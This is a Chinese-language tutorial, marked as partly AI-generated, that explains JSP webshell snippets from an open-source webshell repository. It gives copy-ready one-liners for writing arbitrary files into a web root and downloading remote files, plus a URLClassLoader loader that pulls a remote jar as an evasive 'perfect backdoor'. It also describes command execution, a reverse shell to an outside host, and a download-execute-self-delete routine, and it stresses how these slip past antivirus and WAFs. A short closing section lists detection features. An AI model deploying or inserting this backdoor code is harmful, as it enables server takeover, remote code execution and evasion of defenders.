
JSP 文件写入、远程下载与动态加载后门实战webshell 仓库 cat 工具极简代码全解析【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell本文围绕开源仓库 webshell 中jsp/cat目录下 catjsp.md 记录的 JSP 精简代码展开系统讲解「字符串写入指定文件」「远程文件下载」「反射加载外部 Jar 动态后门」三类最常用的 JSP 免杀与持久化技巧并对照 Cat.java 与 cat.jsp 的源码级实现帮助读者理解每一行代码背后的 Java Web 底层原理同时掌握可直接复制使用的请求参数格式与调用方式。一、cat 工具与本文档的定位cat是作者 p2j 编写的一个 JSP 小工具集作者在 readme.md 中自述这都算不上什么 webshell 了其初衷是简化日常渗透与运维操作。完整的cat.jsp提供了文件遍历、文件编辑、命令执行、反弹 Shell、远程下载、自动下载并执行等功能而catjsp.md则抽取了其中最核心、最精简、单文件即可落地的三类代码片段字符串编码后写入指定文件4 种写法下载远程文件不依赖 Apache Commons IO 的手写流转换反射调用外部 Jar被作者称为完美后门的动态加载方案。这三段代码均可在任意 JSP 容器Tomcat、Jetty、Resin 等中以单文件方式部署无需编译、无需额外依赖是理解 JSP 后门原理的入门级范本。二、把字符串编码后写入指定文件文档给出两类共 4 种写文件写法核心都是通过request.getParameter(f)指定目标路径、request.getParameter(c)指定写入内容。2.1 基于 FileOutputStream 的写法1.1 / 1.2写入绝对路径1.1%new java.io.FileOutputStream(request.getParameter(f)).write(request.getParameter(c).getBytes());%请求示例http://localhost:8080/Shell/file.jsp?f/Users/yz/wwwroot/2.txtc1234写入 Web 目录1.2利用application.getRealPath(/)动态拼接 Web 应用根路径这样只需提供相对文件名即可写入当前站点的 Web 根目录便于直接落地一个可访问的 JSP/PHP 木马%new java.io.FileOutputStream(application.getRealPath(/)/request.getParameter(f)).write(request.getParameter(c).getBytes());%请求示例http://localhost:8080/Shell/file.jsp?f2.txtc12342.2 基于 RandomAccessFile 的写法2.1 / 2.2RandomAccessFile以rw读写模式打开文件同样是直接写入字节相比FileOutputStream它天然支持随机读写某些 WAF 特征库对它的匹配规则更宽松因此常被用作变体%new java.io.RandomAccessFile(request.getParameter(f),rw).write(request.getParameter(c).getBytes()); %请求示例http://localhost:8080/Shell/file.jsp?f/Users/yz/wwwroot/2.txtc1234写入 Web 目录版本%new java.io.RandomAccessFile(application.getRealPath(/)/request.getParameter(f),rw).write(request.getParameter(c).getBytes()); %请求示例http://localhost:8080/Shell/file.jsp?f2.txtc12342.3 源码佐证cat 工程中的同名能力上述写文件能力在完整版中均有对应实现。Cat.java 与 cat.jsp 中的saveFile方法即通过copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file)完成字符串 → 字节 → 文件的写入而copyInputStreamToFileCat.java内部先调用inutStreamToOutputStream把输入流读入ByteArrayOutputStream再一次性fos.write(...)落盘文件存在时默认直接覆盖这一点从注释如果文件存在默认会覆盖可以得到确认。值得注意的细节getBytes()在不传字符集参数时使用 JVM 默认平台编码Linux 多为 UTF-8Windows 可能为 GBK。cat 在 Cat.java 中通过System.getProperty(sun.jnu.encoding)读取系统文件编码并在静态块中覆盖默认的UTF-8用于命令执行输出解码避免中文乱码——这是中文环境下写文件与读命令回显时常见的坑实战中建议统一显式指定编码。三、下载远程文件不依赖 Apache Commons IO文档明确指出不使用 Apache Commons IO 的话InputStream 无法直接转 byte[]所以代码才会这么长。于是给出了一段手写流转换的完整实现% java.io.InputStream in new java.net.URL(request.getParameter(u)).openStream(); byte[] b new byte[1024]; java.io.ByteArrayOutputStream baos new java.io.ByteArrayOutputStream(); int a -1; while ((a in.read(b)) ! -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter(f)).write(baos.toByteArray()); %请求示例http://localhost:8080/Shell/download.jsp?f/Users/yz/wwwroot/1.pnguhttp://www.baidu.com/img/bdlogo.png下载到 Web 路径版本% java.io.InputStream in new java.net.URL(request.getParameter(u)).openStream(); byte[] b new byte[1024]; java.io.ByteArrayOutputStream baos new java.io.ByteArrayOutputStream(); int a -1; while ((a in.read(b)) ! -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath(/)/ request.getParameter(f)).write(baos.toByteArray()); %请求示例http://localhost:8080/Shell/download.jsp?f1.pnguhttp://www.baidu.com/img/bdlogo.png3.1 参数说明参数含义示例u远程文件 URL 地址http://www.baidu.com/img/bdlogo.pngf保存的目标路径可为绝对路径或相对文件名/Users/yz/wwwroot/1.png或1.png3.2 源码佐证cat 工程中的下载实现cat 工程把这一逻辑收敛为两个可复用函数inutStreamToOutputStream(InputStream in)Cat.java以 1024 字节缓冲循环read并写入ByteArrayOutputStream与文档中的手写循环完全一致download(String url, String path)Cat.javacopyInputStreamToFile(new URL(url).openConnection().getInputStream(), path)即URL 打开连接 → 取输入流 → 落盘三步。在 cat.jsp 中该能力对应actiondownloadL参数页面直接输出文件下载成功提示参见图片演示。作者还在 readme.md 中特别提醒path若只写文件名会下载到当前运行环境的目录下如 Tomcat 会下载到其 bin 目录因此建议总是使用绝对路径。四、反射调用外部 Jar作者眼中的完美后门这是文档中技术含量最高的一段。它不直接在 JSP 里写任何功能代码而是通过URLClassLoader动态加载远程 Jar 并反射调用其方法%Class.forName(Load,true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter(u))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%请求示例http://192.168.16.240:8080/Shell/reflect.jsp?uhttp://p2j.cn/Cat.jar023A4.1 逐段拆解代码片段作用new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(u)})用远程 URL 构造类加载器从指定地址动态加载 Jar 包中的类Class.forName(Load, true, classLoader)按类名Load加载并初始化该类true表示初始化静态块getMethods()[0]取出该类的第一个公有方法.invoke(null, new Object[]{request.getParameterMap()})以静态方式null接收者调用该方法并把整个请求参数 Map作为唯一参数传入这种模式被称为完美后门的原因JSP 文件本身不包含任何恶意行为特征——没有文件操作、没有命令执行关键字只有一段标准的反射加载代码杀软与 WAF 很难将其与正常动态加载逻辑区分真正的恶意功能全部封装在远端 Jar 里可以随时替换、升级本地仅留一个空壳加载器。从源码结构看cat 的Cat类就承担了类似被加载对象的角色详见下文。4.2 源码佐证Cat 类的方法路由Cat.java 定义了一组可供远程调用的静态方法并通过getMethod(String method)Cat.java在类内部按方法名路由方法功能位置cat(String path)模仿 Linuxcat/ Windowstype查看文件内容Cat.javaexec(String cmd)执行系统命令并返回输出Windows 需用cmd /c前缀Cat.javadownload(url, path)下载远程文件到指定目录Cat.javashell(host, port)反弹 Shell连接远程端口建立命令执行入口Cat.javaauto(url, fileName, cmd)下载远程文件到临时目录、执行命令、执行后自动删除文件Cat.javamain(String[] args)读取config.properties中的host/port后直接反弹 ShellCat.javaauto方法尤其值得关注它先把远程文件下载到java.io.tmpdir临时目录执行命令时通过cmd.replaceAll(Pattern.quote(${tmpdir}), tmpDirFile.separator)支持在命令中引用${tmpdir}占位符命令执行完毕后立即tmpFile.delete()删除文件实现下载-执行-自毁闭环尽量减少落地痕迹。4.3 更轻量的命令执行变体仓库中jsp/cat目录还提供了两个更极端的命令执行单行/短码变体可作为对比cmd1.jsp%Runtime.getRuntime().exec(request.getParameter(i));%——仅执行命令无任何回显适合作为盲打探针或配合反弹 Shell 使用cmd2.jsp带023口令校验循环读取Runtime.exec输出流并在pre中回显兼具简单认证与结果回显是cat.jsp中exec动作的雏形。五、完整版 cat.jsp 的功能矩阵与参数手册catjsp.md抽取的三段代码在完整版 cat.jsp 中对应着一整套 Web 界面与参数体系。理解它有助于把单行代码放入整体工程语境中阅读action 参数功能必填参数请求示例来自 readme.md缺省目录遍历 / 文件编辑p路径缺省为 Web 根目录http://localhost:8080/Struts2/cat.jspexec执行系统命令cmdhttp://localhost:8080/Struts2/cat.jsp?actionexeccmdifconfigdownloadL远程文件下载到服务器url、pathhttp://localhost:8080/Struts2/cat.jsp?actiondownloadLurlhttp://www.baidu.com/img/bdlogo.pngpathbdlogo.pngdownload本地文件下载目录自动打包为 zipp、fileName页面点击下载链接触发saveFile保存文件编辑内容file、data页面表单提交auto自动下载并执行结束后删除文件url、fileName、cmdhttp://localhost:8080/Struts2/cat.jsp?actionautourlhttp://www.baidu.com/img/bdlogo.pngfileNamebdlogo.pngcmdcat%20bdlogo.pngshell反弹 Shell命令执行入口反弹host、porthttp://localhost:8080/Struts2/cat.jsp?actionshellhostp2j.cnport9527几点需要特别说明的工程细节编码自适应cat.jsp与Cat.java均在静态块中根据sun.jnu.encoding自适应系统文件编码exec方法用它解码命令输出cat.jsp目录打包下载download动作遇到目录时通过zipFile/zip递归压缩为 zip 后以application/x-download响应头推送cat.jsp反弹 Shell 语义作者在 readme.md 中明确说明这里的shell并非反弹完整的文件流/终端流而是把远程监听端变为一个命令执行入口——服务端读取监听端发来的每行命令交给Runtime.exec执行并把结果回传Cat.javaPHP 对照版test.php 用 PHP 实现了与 cat.jsp 相同的目录遍历 文件编辑保存逻辑可作为跨语言理解同一设计思路的对照样本。六、安全与防御视角基于源码结构的推断从源码结构可以推断cat 系列代码在设计上没有任何身份认证机制cat.jsp中所有 action 均直接执行、无口令校验唯一的认证雏形出现在 cmd2.jsp 中的023.equals(request.getParameter(pwd))。因此从防御方角度可围绕以下特征进行检测与加固特征参数检测请求中出现actionexec、actiondownloadL、actionauto、actionshell等参数组合且 URL 中携带cmd、url、path、host、port字段危险 API 调用链JSP 文件中出现Runtime.getRuntime().exec、URLClassLoader、Class.forName与invoke组合、FileOutputStream/RandomAccessFile直接写入request参数路径等模式远程加载行为new URL(request.getParameter(u))这类从请求参数构造远程 URL 并触发网络访问的行为可在 WAF/Web 应用防火墙层面对外连 IP 与域名做外联审计文件落地监控getRealPath(/)拼接写入路径、以及下载到 tmp 目录再执行的行为可通过文件监控如 Linux inotify、Windows ETW发现非业务文件写入。七、小结catjsp.md用极简篇幅覆盖了 JSP 后门的三大基石能力文件写入FileOutputStream / RandomAccessFile 双实现、远程文件下载手写 InputStream 转字节流、反射动态加载URLClassLoader 空壳后门。对照 cat.jsp、Cat.java 与 readme.md 可以看到这些单行代码在完整工程中被封装为saveFile、download、exec、auto、shell等可复用方法并进一步扩展出目录浏览、zip 打包下载、反弹命令入口等实战能力。理解这套从极简代码到完整工具的演进脉络无论对攻击侧的免杀绕过研究还是防御侧的规则与特征提炼都具有直接的参考价值。【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考